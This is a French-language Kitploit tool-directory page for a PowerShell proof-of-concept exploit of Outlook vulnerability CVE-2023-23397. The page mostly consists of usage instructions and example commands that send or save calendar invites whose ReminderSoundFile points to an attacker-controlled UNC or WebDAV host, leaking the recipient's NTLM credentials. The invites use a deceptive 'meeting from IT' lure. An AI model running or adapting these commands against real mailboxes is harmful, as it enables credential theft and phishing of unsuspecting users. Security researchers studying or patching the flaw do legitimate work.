Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-23397-POC-Powershell — Script PowerShell pour exploiter CVE-2023-23397 en envoyant ou en enregistrant des invitations de calendrier Outlook malveillantes qui déclenchent une fuite d'identifiants NTLM via l'option ReminderSoundFile. | Kitploit
Outils/GitHubGitHub/api0cradle/cve-2023-23397-poc-powershell
Outils de PhishingAnalyse des VulnérabilitésExploitationExfiltration de DonnéesTests d'IntrusionSécurité des Emails
GitHubapi0cradle/cve-2023-23397-poc-powershell

CVE-2023-23397-POC-Powershell

Script PowerShell pour exploiter CVE-2023-23397 en envoyant ou en enregistrant des invitations de calendrier Outlook malveillantes qui déclenchent une fuite d'identifiants NTLM via l'option ReminderSoundFile.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
3465812il y a 3 ansVérifié par Kitploit

CVE-2023-23397-POC-Powershell

Fonctions de script pour envoyer ou enregistrer une fuite NTLM de calendrier à l'aide de l'option ReminderSoundFile. Exécutez le script pour charger les fonctions dans Powershell, puis utilisez les exemples ci-dessous comme point de départ pour utiliser les fonctions. Nécessite d'être exécuté sur une machine Windows avec Outlook installé, car il utilise l'objet COM Outlook pour envoyer des e-mails. Notez qu'il enverra l'e-mail depuis le compte e-mail associé à Outlook. Les fonctions actuelles ajouteront l'heure de début de la réunion au moment où le script est exécuté et la définiront pour durer 2 heures.

Envoi :

root@kitploit:~
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"

Enregistrement :

root@kitploit:~
Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"

Hackez la planète !

Télécharger l’outil